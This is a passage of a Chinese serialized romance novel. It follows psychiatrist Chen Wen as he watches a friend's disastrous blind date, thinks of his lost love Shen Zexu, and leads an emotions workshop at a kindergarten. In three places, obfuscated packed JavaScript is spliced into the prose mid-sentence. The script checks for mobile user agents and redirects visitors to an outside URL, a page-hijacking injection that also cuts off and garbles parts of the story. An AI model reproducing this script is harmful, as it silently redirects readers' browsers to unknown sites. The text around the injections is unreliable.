“是刑具。”顾言锐纠正道,随即身体前倾,双手撑在桌沿,眼睛忽闪忽闪地看着他,“所以,温温~” 这声调让陈温后背莫名有点发凉。 “打住。你相亲,找我干什么?” “你陪我去嘛!”顾言锐绕过来,无比自然地抓住他的手腕晃了晃,语气半是撒娇半是耍赖,“江湖救急!你去帮我掌掌眼。万一对方是个视觉灾难兼宇宙级普信男,我就说你是我男朋友什么的,当场把相亲搅黄,怎么样?你帮帮我吧。” 陈温试图抽回手,没成功。 他看着女生,试图从她眼里找出一丝开玩笑的痕迹。 “顾言锐,你认真的?” “不然我牺牲宝贵的补觉时间,穿上这身‘刑具’是为什么?为了体验名媛的快乐吗?”她理直气壮,手上用力,直接把他从椅子上拉了起来,“快快快,别磨蹭了,去换件像样的衣服!” 陈温被她拽得一个踉跄,无奈地看了一眼桌上尚未收拾完的文件,又看向眼前这个穿着淑女裙却干着“绑票”行径的女生。 顾言锐是隔壁急诊科的医生。六年前那场酒局,陈温替她解围时,她还叫“小锐”。 起初谁都没认出对方。毕竟太久远了,只有一面之缘。 直到后来科室聚会拼桌,聊起旧事。 顾言锐嗤笑说,小时候最烦被老爸拎出来跟人比较,幸好当时饭桌上有个陌生人的孩子,替她“报复”她老爸。 “简直是我童年阴影里的一道光。”她说。 陈温听着,觉得耳熟。 过了两天,他才把记忆里那个女生,与眼前这个风风火火的急诊医生对上。 只能说世界太小了。 然后,渐渐成了可以携手去掏鸟蛋的朋友,当然不可能真去掏鸟蛋。 烤肉店的烟火气与孜然香,在微热的夜晚扩散。 陈温选了张靠外侧的塑料椅坐下,与顾言锐那桌隔开几米,又正好在她视线余光范围内。 他点了七根烤串,展开一份不知谁遗落在桌上的旧报纸,姿态放松得像纯粹来打发时间的路人。 目光隔着一行行铅字,落在对面。 顾言锐的嘴角,正以肉眼可见的弧度抽搐着。 她面前的男人——也就是今天的相亲对象——正热情地介绍着这家店的招牌肥牛,语气里充满“带你见识好东西”的自得。 而顾言锐,那一身与周遭格格不入。 她不是歧视这种地方。急诊科出来的人,什么场面没见过?加班到头昏眼花时,能和同事蹲在马路牙子上啃煎饼果子。 她只是……不理解。 出门前,她明明在微信上客气地提过一句:“我今天穿得可能稍微正式一点。” 对方回复得飞快:“明白!放心,地方我定,保证环境优雅,特别适合聊天,一定给你安排得明明白白!” 结果,“明明白白”就是这片油烟缭绕的烧烤摊? 顾言锐想死的心都有了。 她感觉到油脂分子,正欢快地附着在她精心打理过的头发和她花了小一千买的裙子上。 陈温咬下一口烤串,慢条斯理地嚼着,回过眼神,瞥向报纸,就没离开过了。 相亲对象长相普通,身高更是他的硬伤。 好在聊的还行,可话题不知怎的,从烤肉的性价比滑向了更危险的领域。 “其实吧,顾小姐,”他啜了口啤酒,用一种推心置腹的语气说,“你看现在,好多男的都娶不到老婆。为什么?女人啊,太麻烦了,眼光都高到天上去了。” 他摇摇头,仿佛在陈述一个公认的真理。 顾言锐捏着竹签的手指紧了紧,没说话,只是撩起眼皮看了他一眼。 对方把这沉默当成了鼓励,身子前倾:“要我说,就该现实点,眼光放低些。像我们这样从农村靠自己奋斗出来的,踏实肯干,才是过日子的人选,对吧?” 他话锋一转,目光带上了一丝探究:“顾小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“至于我看不看得起你,”她站起身,拿起手包,平静道:“我现在可以明确告诉你——我看不起的,不是你的出身,是你这种一边渴望被平等对待,一边又在心里预设别人会歧视你,并且把所有不如意都简单归咎于他人‘眼光高’或‘性别麻烦’的心态。” 顾言锐抽出几张钞票,说:“这顿饭,我请了。再见,不,是再也不见。” 说完,她不再看对方青红交白的脸色,转身,朝着不远处那个假装看报纸的人走去。 “走了。”顾言锐走到桌边,声音还带着没散尽的冷硬。 陈温没应。他视线定在报纸的某一版,眉心几不可察地蹙着。 顾言锐在他面前晃了两下手。 “看什么呢,这么入神?” “……没什么。”陈温猛地回神,下意识将报纸那版折了一道。 顾言锐眯起眼打量他。 这种放空又带着点……怎么说,像是被遥远记忆击中的表情,她很少在陈温脸上看到。 但现在她没心思深究,胸腔里还堵着刚才那团火。 顾言锐一把抓住他手腕,将人从塑料椅上拉起来。 “别发呆了,走走走,陪我去逛街。我得买点东西,净化一下被污染的心情,顺便把这身‘刑具’换了。” 陈温被她拽着,顺从地起身,走向她那辆停在路边的、和她平日风格一样有点不拘小节的SUV。 手里那份被折了一角的报纸,被他放回了桌面上。 坐进副驾驶,引擎发动,街景开始向后流淌。 顾言锐打开了车载音乐,一首节奏强劲的摇滚乐响起。 她跟着节奏轻点着方向盘,似乎想借此把不快甩出去。 陈温靠在椅背上,目光投向窗外飞速掠过的霓虹,脑海里回闪着刚刚报纸头版上那些加粗的黑体字: 【捷报头版】:沈泽许与“镜界智能”宣布重大突破——成功搭建全球首个超大规模、高效率的“异构联邦计算”网络。此项技术旨在打破现有AI算力垄断……测试效能提升40%,能耗降低35%,有望重塑行业规则。 沈泽许。 陈温在心里念了一遍这个名字。 六年了,好久不见。 你过得还好吗? 79. 陈老师 陈温很久没有看过沈泽许的照片,几乎忘记对方长什么样子了,而且他们在一起时拍的照片极少,少到一只手就能数得过来。 顾言锐见他发呆,不悦地说:“小温温!你刚才干嘛不救我?就我一个人搁那疯狂输出!” 陈温这才彻底从报纸新闻里抽离,侧过脸看她,眼里恢复了往日神情,懒散道:“我看大锐锐一个人就足够形成碾压性优势了,我上去,不是抢你风头么?” “哎——呀!气死我了!”顾言锐又是一脚油门,车子加速汇入车流,“我再也不信我妈的鬼话了!再也不相亲了!什么牛鬼蛇神都能放出来!” “别气了,”陈温笑意更深,“为人民排除一个潜在隐患,功德无量。” “你还笑!”顾言锐瞪他,随即又好奇起来,“哎,说起来,你家里怎么不催你啊?你这张脸,这工作,按理说应该比我更抢手才对。” 车里音乐正好放到间隙,短暂的寂静里,陈温重新望向窗外,没头没脑说了一句:“没遇到喜欢的。” “啧,标准真高。”顾言锐感叹,随即眼珠一转,换上副玩世不恭的语气,“哎,要我说,既然你这也不要那也不要,干脆跟了我得了?我牺牲一下,为你化身四爱女战士,怎么样?够意思吧!” 陈温连眼皮都懒得抬:“你愿意,我可不愿意。消受不起。” “行行行,我们陈大医生冰清玉洁,我高攀不起。”顾言锐忽然想起什么,八卦起来,“对了,隔壁内科那个,挺帅的那个,周明澈,不是在追你吗?阵仗不小啊,全院都快知道了。你怎么想的?” “没怎么想,”陈温内心没什么波澜,“我不喜欢他。” “为什么?”顾言锐追问得理所当然,“他看着条件不错啊,人模狗样的,对你又挺上心。” 陈温沉默了几秒。 他刚调来这个医院不久,周明澈不知从哪听说他也是gay,大张旗鼓地追起他来。 送花送到科室,下班堵着要送他回家…… 一开始,陈温只是明确拒绝,虽觉困扰,倒也没太大恶感。 直到他无意间在安全楼梯口,听见周明澈用玩味和炫耀的语气对电话那头说: “……是啊,新来的那个精神科的陈温,挺有意思,看着挺冷,逗逗看呗。又不吃亏,反正圈子里都知道我在追他,够纯情吧?玩玩而已,谁还真……” 后面的话,陈温没再听。 他转身离开了。 从那以后,所有的“好意”在他眼里都变成了令人作呕的戏码。 陈温拒绝得更加不留余地,连表面的客气都懒得维持。周明澈似乎也察觉了男生的变化,但他脸皮厚得跟城墙一样,硬要追。 “不喜欢就是不喜欢,”陈温冷淡地说,“以后别提他了。” 顾言锐敏锐地察觉到他语气里的厌烦,虽然不知道具体缘由,但知趣地刹车。 “得,不提了。垃圾男人和垃圾食物一样,早点识别,早点丢弃,有益身心健康!”她方向盘一转,“走,姐带你扫货去,治愈一切不开心!” - 和主任刘维民敲定了“幼儿心理健康周”的具体安排:为期两个星期,主要是两节引导式的活动课,用孩子们能理解的方式,聊聊成长中那些小小的烦恼——比如害怕、争吵,或是被忽视的感觉——以及可以怎么面对。 当然,如果咨询室有预约,还是要回来上班的。 剩下的时间,则是安静地观察、记录,形成一份温和的评估报告。 工作落定,心里却好像空了一块。 回到住处,钥匙转动,门锁发出咔哒声。 陈温推门进去,对着满室寂静,习惯性地说了一句:“我回来了。” 依旧没有人回应他。 男生靠在关好的门上,静了片刻。这房子是他一个人住的。陈林峰他们还住在广州。 他走到窗边,窗外是城市千篇一律的灯火楼影。 六年前,填报志愿的时候,他盯着“中山大学”看了很久。 心里想的是,如果能去那里,或许能在某个街角、某场讲座、甚至只是传闻里,再次遇见沈泽许。 但陈林峰怕了。怕他们再见面,怕旧事重提。他最终同意陈温出省读书,视线又落在了遥远的“四川大学”。 于是那一年,他第一次出省,第一次坐飞机,紧张得扣安全带扣了半天,惹得邻座阿姨抿嘴笑。 还有第一次和天南地北的室友挤火车去爬山,在海拔三千米的山脊上,见到了人生第一场真正的雪。 雪花飘落在他的睫毛上,融化时冰冰凉凉的,那一刻,心里喧嚣的很多东西,好像也被这片洁白覆盖了。 他替江夏看到了雪山云海,替廖淑琴感受了异乡的辛辣滋味,替那个困在旧日小巷里、从不敢眺望远方的自己,跨出了这一步。 他走出去看“世界”了。 窗玻璃上映出男生自己的影子。陈温对着那个影子,说: 沈泽许,我该谢谢你的。 如果不是当年的那些事,他或许这辈子都不会知道,外面的世界这么大,雪可以是凉的,山可以那么高,人也可以……重新开始的。 陈温回到惠州,心底埋着一些连自己都不敢去深究的念头。 那念头很沉,很乱。像一团被水浸透又晒得半干的棉絮,堵在心口,扯不出个头绪,又实实在在存在着。 屋子整体有点乱,但陈温觉得这只是另一种有序。 地上散落着几本专业书和期刊,桌角堆着没来得及拆完的快递箱…… 日常只是随手归置,扫地除尘,那些不紧急的杂物便暂且留着。 但他偶尔加班到凌晨回来,反而会生出一种奇异的精力,将音乐开到很小声,在深夜里,把一切彻底归位、擦净。 此刻,屋内只亮着一盏暖黄的落地灯,光线包裹着略显杂乱的陈设,透出一种被人长久居住、浸润过的温暖。 风格简单,但处处是生活的痕迹,显得温馨。 他给自己设了个早起的闹钟。 明天要去那所“青苹果幼儿园”报到,第一次弄活动,不宜迟到。 设定完毕,那点光便熄灭了。 世界安静起来。 陈温在床上坐了片刻,划开手机,点开了浏览器。 光标在空白的搜索栏里闪烁,像在催促他快点输入。 陈温犹豫着,终究只是敲打了几下无意义的字母,又逐个删去。 最终,他还是没有输入那个名字,或者任何与之相关的问题。 屏幕暗下去,被他反扣在床头柜上。将灯关上,陈温滑进被子里,闭上了眼睛,近两个小时才睡着。 与此同时,会议刚散,大厦里残留着人群散去后的闷热。 沈泽许脱下西装外套搭在臂弯,一抬眼,正看见倚在走廊窗边的陆晚枝。 她短发留长了些,松松挽在耳后,身上褪去了些程序员常见的随性,多了几分沉淀下来的成熟韵致。脚下那双惯常踩着的高跟鞋,也换成了舒适的平底鞋。 “怎么样了?”她先开口,声音比记忆里温和。 “讨论得还不错,”沈泽许走近,低沉嗓音在空旷走廊里格外清晰,“按这个进度,下个星期项目应该能收尾。你们小组呢?” 世界有时小得像个循环。沈泽许也没想到,会在这个顶级的智能AI项目里,遇见如今已是行业翘楚的陆晚枝。 “我们小组进度也快收尾了。”陆晚枝话锋一转,“你爸妈那边离婚官司还没落定?” “还没。”沈泽许的声音听不出情绪。 六年了。沈明远和白千月的离婚官司至今悬而未决,像一场漫长的拉锯战。 要么是双方在财产分割上寸土不让,尤其是那些难以估值的股权与海外资产;要么,就是两人早已不在意结果,只是把这场官司当作消耗彼此最后一点情分与耐心的仪式,看谁先撑不住离场。 “哎,”陆晚枝叹了口气,“现在离婚,倒比结婚难上百倍。” “我送你回去?”沈泽许移开话题,道。 “好啊,”陆晚枝拢了拢耳边的碎发,笑着说:“麻烦你了。” 助理接过了沈泽许递来的文件。两人上了车,陆晚枝习惯性地坐在后座。 引擎启动,车内流淌着低低的钢琴曲。短暂沉默后,陆晚枝开口: “问你个问题。” “问。”沈泽许目视前方,手指在导航屏上设定目的地。 “你还没找到陈温吗?” 沈泽许的动作顿了一下,屏幕的光映在他侧脸上。 “没。”他声音很淡,“最近心思都在那场官司上。我想让它快点结束。沈明远总能找些由头去见我妈,我不想再看到他。” 最后那句话,少见地透出孩子气的厌烦。 陆晚枝从后视镜里看了他一眼。 “……也是。希望你能早点找到他吧。”她顿了顿,语气自然地转向,“对了,下周三的联合技术评审……” 话题滑向工作。 沈泽许握着方向盘,目光沉静地看着前方流淌的夜色,方才那一瞬泄露的情绪,已被妥帖地收拢回滴水不漏的平静之下。 闹钟响到第二遍,陈温才从被子里探出手,在床头柜上摸索着按掉。 他缩回手,意识在半梦半醒间又沉了五分钟,才真正挣扎着坐起来。 迷迷糊糊地刷牙,刮掉下巴上新冒出的那点青茬。 从冰箱里翻出个全麦面包扔进微波炉,加热的间隙,又开了盒牛奶。 他平常不喝这个,是别人送的,眼看快过期了,只好解决掉。 陈温一手拿着面包咬,一手拎起背包和钥匙,用肩膀顶开门,就这么走了出去。 清晨的空气没有下午热,舒服且干燥,他眯起眼,朝着公交站的方向走去。 幼儿园面积小巧,游乐设施色彩柔和,既充满童趣又不至过于刺激。 陈温正要入园,被值班保安伸手拦下:“您好,请问有什么事?来接孩子?以前好像没见过您。” “不是接孩子,”陈温礼貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172012|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释,“我是受邀来参加‘幼儿心理健康周’活动的。” 保安面露疑惑:“活动?没接到通知啊……” 正说着,一位年轻女老师从园内快步走来,笑着招呼:“是陈医生吧!欢迎欢迎!”她转向保安,“李师傅,这位是请来给孩子们做活动的心理专家。” 保安这才恍然,侧身让开:“哦哦,专家老师啊,请进请进!不好意思,我们园规定严,陌生面孔都要问清楚。” “没事。应该的,谨慎点好,都是为了孩子安全。”陈温微笑颔首。 女老师引着他往里走:“孩子们知道今天有特别活动,可期待了。陈医生,我先带您熟悉下环境?” “好,麻烦您了。”陈温略作迟疑,还是补充了一句,“叫我小陈,或者陈老师就好,不用太客气。” “好的,陈医生!”年轻女老师从善如流地点点头,回答得干脆,笑容依然灿烂。 “……”陈温眼角几不可察地抽动了一下,心里默念:行! 女老师带着陈温穿过色彩明快的走廊,墙面上贴满了孩子们稚嫩的画作。 正介绍着班级分布,一位气质温婉、胸前别着“副园长”铭牌的中年女士从拐角处快步迎来。 “是陈医生吧!欢迎欢迎!”副园长笑容亲切,与女老师点头致意后,便自然地接过了引导的工作,“真是抱歉,刚才在安排晨间活动,没能及时过来。这边请。” “叫我小陈就行了。”陈温说。 “好的,小陈老师。”副园长引着陈温继续向内走去,步伐稍快,边说:“孩子们听说今天有位特别的‘心灵老师’要来,早饭都吃得比平时快,现在全在多功能厅里等着呢,一个个小脑袋翘首以盼的。您看,我们是先过去和大家见个面,开个‘欢迎会’,让孩子们认认您这位新老师,怎么样?” 陈温点点头,微笑应道:“好,我们直接过去吧。” 刚踏进多功能厅,几十双眼睛齐刷刷地聚焦过来。孩子们看见陈温,小嘴巴纷纷张成了“O”型,发出此起彼伏的“哇——”的惊叹。 这个新老师,头发软软的,眼睛弯弯的,好像会说话!长得又帅又好看,跟他们的园长姐姐一样好看! 副园长拍了拍手:“小朋友们安静一下,让我们用最最热烈的掌声,欢迎今天来到我们青苹果幼儿园的特别老师——陈老师!” 哗啦啦的掌声像欢快的小雨点。 陈温走到孩子们围坐的圆圈前,蹲了下来,让自己的视线和他们保持水平。 他脸上露出一个神秘的笑容,竖起一根手指放在嘴边,做了个“小声点”的动作,孩子们立刻被吸引了,好奇地安静下来。 “小朋友们好呀,”他的声音清朗又温柔,像春天的溪水,“你们可以叫我小陈老师,或者叫我‘心情魔法师’!” “心情魔法师?”孩子们七嘴八舌地重复,眼睛瞪得更圆了。 “对呀,”陈温点头,从特意准备的布口袋里掏出一只表情有些委屈的小兔子玩偶,“你们看,小兔子今天有点不开心,因为它最好的胡萝卜玩具找不到了。心里闷闷的,就像被一团灰色的云朵包住了。” “你们有没有过这种时候呀?比如心爱的玩具不见了,或者跟好朋友闹了一点点小别扭,心里也会觉得有点不舒服?” 不少孩子感同身受地点起头,有的还小声说“我上次就这样……”。 “我呢,就是专门来帮你们认识这些躲在心里的小云朵、小怪兽的。”陈温把小兔子抱在怀里,继续说,“这几个星期,我想和你们一起,玩很多特别的游戏,画很多神奇的画,还会用沙子在盘子里建造属于我们自己的小世界。” “我们可以一起发现,当‘不开心’、‘害怕’或者‘生气’这些小客人来访的时候,我们可以怎么跟它们打个招呼,然后轻轻地送走它们,让心里重新装满阳光和彩虹。你们说,好不好玩?” “好玩——!”孩子们异口同声,心里充满了期待。 “太好啦!”陈温站起身,微笑道,“那么,我们的‘心情探险之旅’,就从今天正式开始喽!谁想第一个来当我的小助手,帮我一起施展第一个‘快乐魔法’呀?” 一瞬间,几乎所有的小手都高高地举了起来,在空中疯狂摇晃着。 陈温脸上露出一点“这么多小手,选谁好呢”的为难神色,他的目光从一张张期待的小脸上轻轻扫过。 最后,停在了一个眼睛特别亮、坐得笔直、小手举得特别高的小女孩身上。 陈温笑着伸出手掌,邀请她:“好,就请你来当我的第一个小助手吧!” “哇——”其他小朋友发出羡慕的轻叹,目光都投向那个幸运儿。 小女孩眼睛一下子更亮了,在同伴们羡慕的注视下站了起来,特别自豪地走到陈温身边。 陈温再次蹲下,让视线和她齐平,用只有两个人能听清的音量,问:“小助手,你叫什么名字呀?可以告诉我吗?” 小女孩仰着头,声音清脆又响亮:“我叫李见初!看见的见,初心的初!” 80. 明天一定来 “李见初……”陈温重复了一遍,点点头,笑意更深了,“很好听的名字,像一个故事的开始。那么,见初小助手,你准备好了吗?我们要开始第一个‘魔法’了哦!” 李见初用力地点点头,小手不自觉地攥成了小拳头,充满了使命感。 其他孩子也屏息凝神,睁大了眼睛,准备观看陈老师和他的小助手,将要变出怎样奇妙的“魔法”。 陈温站起身,从“魔法袋”里变戏法似的拿出几张大卡片,上面画着各种的表情:大笑的太阳、掉眼泪的云朵、气鼓鼓的闪电、还有平静的微风。 “第一个魔法,叫‘情绪气象站’!”他举起卡片,“每个人心里呀,就像一个小天空,有时候是晴天,有时候会下雨,有时候会打雷。我们现在呢,就要学着当自己心里的‘天气预报员’!” 陈温让小助手帮忙,把卡片贴在白板上。“来,见初,告诉大家,你现在心里的小天空,是哪一种天气呀?不用害羞,什么天气都可以哦。” 李见初仔细地看着卡片,指向了“大笑的太阳”:“是晴天!因为今天有新老师来,还有好玩游戏!” “太棒了,晴天预报员!”陈温赞许道,然后转向其他孩子,“那其他小朋友呢?可以悄悄告诉我,或者指给旁边的好朋友看。没有对错,每一种天气都值得我们认识一下。” 孩子们叽叽喳喳地讨论起来,气氛热烈。陈温温和地引导,将孩子们点滴的情绪表达,化作认识“内心天气”的启蒙。 上午的活动在轻松的氛围中结束。休息时,陈温独自整理着上午的观察记录,窗外传来孩子们的嬉闹声。 教室门被轻叩两声,节奏从容。 陈温没有被吓到,目光仍停留在手中的观察笔记上,说:“请进。” “进展得还顺利吗?”是一个女声,音色清亮,带着一丝熟悉的质感,却又因时光打磨而显得有些陌生。 陈温闻声抬眼。门口逆光站着一位女士,身形窈窕,及肩的发丝柔顺地别在耳后。 她面容与记忆中重叠又分离,褪去了些青涩,眉眼间添了更为舒展的韵致,美得如其名——苏颜晓梦。 她胸口别着的工作牌上,印着两个字:园长。 陈温握着笔的手指微微收紧,随即松开。他站起身,惊讶道:“苏颜晓梦?好巧啊,真是好久不见。” “好久不见,陈温。”苏颜晓梦走进来,步伐不疾不徐,扫视教室里孩子们留下的画作痕迹,“孩子们没给你添太多麻烦吧?” “怎么会,”陈温摇头,“他们都很可爱,也很配合。” “那就好。”苏颜晓梦点了两下头,视线落回他身上,停顿了片刻。 她似乎斟酌了一下,才开口,问了一个超出寻常寒暄范围的问题:“你……最近还好吗?” 陈温略感意外,但只当是老友重逢后惯常的关怀,便也寻常应道:“嗯,还好。你呢?” 空气静了一瞬。苏颜晓梦看着他,那双漂亮的眼睛里有些复杂的情绪晃动,最终归于平静的微笑。 “我也还好。”她说,却不再追问其他,仿佛刚才那一问只是随口提及。 话题也随之转开,回到了幼儿园的工作安排上。 原来,那份合作函的发起人就是她。 当看到受邀专家名单上写着“陈温”时,苏颜晓梦不敢相信,反复确认了医院和科室。 直到刚才在监控里看到陈温的身影走进多功能厅,她才终于确定,真的是他,便过来看看老友。 两人走到教室外的走廊,避开屋内还未收拾完的教具。 “那我就不多打扰你了,”苏颜晓梦停下脚步,日光洒在她侧脸,“你继续忙。不过,中午留下来吃饭吧,我请客。我们园里的厨师手艺很好,做的儿童餐连大人都抢着吃,保证你满意。” 陈温原本打算中午随便解决,也没带午餐。面对苏颜晓梦的盛情邀请,再加上心底那点被勾起的旧日情谊,他发现自己不太好意思拒绝。 “好啊,”男生应道,“那就麻烦你了。” “不麻烦。”苏颜晓梦眼里的笑意真切了些,“那我去安排了,你忙完直接跟孩子们去食堂就行。” 陈温感谢完,女生就离开了。 自由活动时间,孩子们像一群欢快的小鸟涌向沙坑。 陈温也被李见初和其他几个孩子拉着,加入了他们的“沙堡工程”。 他索性脱了外套,挽起衬衫袖子,坐在沙坑边缘。 孩子们立刻围上来,七嘴八舌地指挥: “陈老师,这里要挖一条河!” “帮我运点湿沙子过来!” “我的城堡要最高的!” 陈温笑着应和,真的像个大孩子一样,帮忙挖沟渠、拍实城墙。 李见初尤其兴奋,像只忙碌的小蝴蝶,围着陈温转来转去,一会儿递小铲子,一会儿捧来装饰用的彩色石子,俨然成了他的“首席工程助理”。 阳光暖融融的,空气里飘着孩子们兴奋的汗味。 陈温很久没有这样纯粹地沉浸在简单的劳作和欢笑里,疲累的神经不知不觉放松下来。 就在他低头,专注于给李见初的“公主城堡”搭建一座拱桥时,忽然感觉头皮一紧——一撮头发被人从后面扯了一下。 不疼,但很突然。 陈温愕然回头,只见一个虎头虎脑、之前在上课见过的小男孩,正缩回手,脸上露出恶作剧得逞的笑。 “王景行!不可以扯陈老师头发!”一旁的配班老师立刻出声制止。 小男孩——王景行,冲着老师吐舌头,做了个鬼脸,“咯咯”笑着,像条灵活的小泥鳅,飞快地钻进了玩滑梯的孩子堆里,不见了踪影。 老师无奈地摇头,向陈温道歉:“陈老师,对不起啊,这孩子精力旺盛,有时候行为……” “没事,”陈温摸了摸被扯的头发,反而笑了,“他只是好奇,或者想用他的方式引起注意,很正常的儿童探索行为。” “王景行好讨厌。”李见初气鼓鼓地对着男生逃跑的方向哼了一声,然后伸出小手,学着大人的样子,说:“陈老师,痛不痛?我帮你‘呼呼’。” 陈温心里一软,摸了摸她的头:“不痛,谢谢见初。” 沙坑里的工程继续,很快被更多的欢笑和沙粒淹没。 玩耍结束,陈温在笔记本上,记下了一笔:“王小川,主动肢体接触(拉头发),伴随挑衅/逃避行为。可能寻求关注或测试边界。需观察其日常社交互动模式。” 午餐时间,孩子们排着歪歪扭扭的队伍,走向飘着诱人香气的食堂 陈温跟在队伍末尾,一走进食堂,就被眼前的景象和扑鼻的香味震了一下。 这哪里是寻常印象里的幼儿园伙食? 明亮干净的取餐台上,白灼虾个个饱满透亮,蜜汁烧鸭泛着诱人的色泽…… 旁边的餐后区,堆着洗净切好的当季水果拼盘,以及小巧的小蛋糕或奶香布丁。 孩子们的餐盘是分隔的,营养搭配一目了然。 连老师们打饭的窗口,菜色也毫不含糊,只是分量更成人化一些。 陈温拿着园里为他准备的餐盘,每样都取了一些。 调味得当,火候精准,完全超出了他对“单位食堂”乃至很多普通餐厅的预期。 尤其是那口烧鸭,皮脆肉嫩,蜜汁的甜咸平衡得恰到好处,咽下去后齿颊留香。 陈温坐在老师们那一桌,周围是交流班级情况的幼师们。 他低头专注地吃着,几乎没怎么说话,心里却翻腾着满足的情绪。 好吃。好吃得……想哭。 并非夸张。这种扎实的、充满烟火气的好味道,像一把钥匙,不经意间打开了味蕾,直抵内心。 陈温吃完了一整盘饭,连配汤都喝得干干净净。最后拿起一块做成小熊脑袋的牛奶小蛋糕,咬下去,是柔软的甜蜜。 同桌的一位年长老师看他吃得专注,笑着搭话:“陈老师,合胃口吗?我们苏园长在伙食上可下本钱了,说孩子们吃得好,身体和心情才会好。” 陈温抬起头,眼里带着未散尽的光,很认真地问: “合胃口,太合胃口了。冒昧问一句,你们园里,还招不招年龄几百个月的‘孩子’?” 饭桌上静了一秒,随即几位老师都“噗嗤”笑出了声。 那位年长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈温起身告辞,走向园门。身后传来李见初扒在门边的喊声:“陈老师!明天一定要来——!” “一定来!”他回头,朝那个小小的身影挥了挥手。 一直到了放学,孩子们像一群归巢的小鸟,被各自的家长或保姆接走。 李见初背着小书包,由老师牵着手,站在园门内侧的等候区,踮着脚张望。 不多时,一个穿着浅灰色休闲西装、个子高挑、相貌俊朗的年轻男人快步走来。 他看起来二十五出头,步履生风,在接孩子的人群中显得格外醒目。 “哥哥!”李见初眼睛一亮,挣开老师的手,像颗小炮弹似的冲了过去。 男人笑着弯腰,一把将她抱起来,在空中转了个圈,才稳稳放下。 “丫头,今天有没有听老师话?” 李见初脚一沾地,就着急地拉着他往他身后看,眉头微蹙:“李欣桐呢?怎么是你一个人来接我?” 林宇舟故意板起脸,屈指弹了下她的额头:“怎么,我来接你不好吗?这么不待见你‘未来的姐夫’?” “一点也不好,”李见初撅起嘴,“姐姐呢?她说好今天给我讲新故事的。” “哎哟,”林宇舟捂住心口,做出受伤的表情,“一见到我,关心完这个姐姐,又关心那个,都不问问哥哥今天累不累,辛不辛苦。我的心啊,拔凉拔凉的。” 李见初眨大眼睛,看他演得起劲,暂时把找姐姐的事放了放。 林宇舟看她态度松动,才慢悠悠地从背后变魔术似的拿出一根冰糖葫芦,山楂红艳艳的,外面还撒着白芝麻。 “可惜咯,本来某人表现好的话,就能吃到这个的。现在看来,只能我自己……” “哥哥!”李见初立刻拽住他的衣角,声音又甜又软,但盯着那串冰糖葫芦,说:“哥哥,你今天上班累不累呀?我给你捶捶背好不好?” 林宇舟忍着笑,把冰糖葫芦递给她:“这还差不多。给,小馋猫,拿着吧。” 81. 预约 活动进行到第三天,李见初对陈温的依赖有增无减,几乎成了他的小影子。 陈温对此并无不耐,反而在安全范围内给予回应,但他同时敏锐地察觉到,那个叫王景行的小男孩,投来的目光越来越频繁,行为也越发明显——总在李见初靠近时,故意制造噪音,或者试图挤到两人中间。 自由活动时,王景行果然又伺机凑近,伸出手,目标明确地再次袭向陈温的头发。 这一次,没等陈温反应,一直密切关注着“她的”陈老师的李见初,像只护食的小兽,挡在陈温身前,推开王景行的手:“王景行!不准扯陈老师头发!” 王景行被推得一个趔趄,看着李见初紧紧护在陈温身前的样子,小脸一下子涨红了,眼睛里迅速积聚起委屈的水光,他狠狠瞪了李见初一眼,转身跑开了。 陈温将这一切看在眼里,心中了然。 他安抚地摸李见初的头,感谢她的保护,然后找了个机会,在沙坑边缘找到了独自刨坑、浑身散发着“别惹我”气息的王景行。 陈温在他身边坐下,也拿起一个小铲子,漫无目的地拨弄沙子。 过了一会儿,他用只有两个人能听到的音量开口: “景行,你好像不太高兴?” 王景行动作顿了一下,闷头继续挖,不吭声。 “是因为见初吗?”陈温继续问,没有责备,只是陈述一种可能性,“你扯我头发,是不是想让她注意到你?” 王景行猛地抬起头,眼里写满了被戳破心思的惊慌和羞恼,拳头攥得紧紧的。 “喜欢一个人,想和她做朋友,是很正常、也很美好的事情。”陈温看着他,“但是,景行,扯别人头发,或者做其他可能让人不舒服的事情,并不是吸引朋友的好方法。这样可能会让她觉得害怕,或者生气,反而离你更远了。” 王景行愣住了,呆呆地看着陈温,似乎从没从这个角度想过。 “你想让见初喜欢你,和你玩,对吗?”陈温问。 王景行犹豫了一下,很轻地点了点头。 “那你可以试试别的方法。”陈温引导着,“比如,她搭城堡的时候,递给她一块她需要的积木……用友好的、她能接受的方式去靠近,她才会觉得你是好玩伴,而不是‘捣蛋鬼’。你可以试试看,好吗?” 王景行低着头,盯着自己沾满沙子的手,很久没说话。 陈温没有再多说,陪他坐了一会儿,然后起身离开。 他知道,对于这个年龄的孩子,理解和改变都需要时间。 但他希望,这颗关于“如何正确表达好感”的种子,能在王景行心里悄悄埋下。 不远处,李见初正在大声呼唤:“陈老师!快来看我的新城堡!” 陈温应声走去,余光瞥见沙坑边的王景行,悄悄抬起头,正望向这边,眼神里少了几分敌意,多了些懵懂的思索。 上完幼儿园的课,陈温回到心理工作室。刚整理好材料不久,预约的来访者便准时到了。 是一位少年,约莫十五六岁的年纪,个子已经抽高,穿着干净的校服,但眉眼低垂,透着一股与年龄不符的沉重。身后跟着神色忧虑的父母。 陈温请他们坐下,例行询问基本情况后,他看向少年,问道:“我们接下来的谈话,你希望家长在场旁听,还是更愿意我们单独进行?” 少年立刻摇头,声音很低但清晰:“单独。” 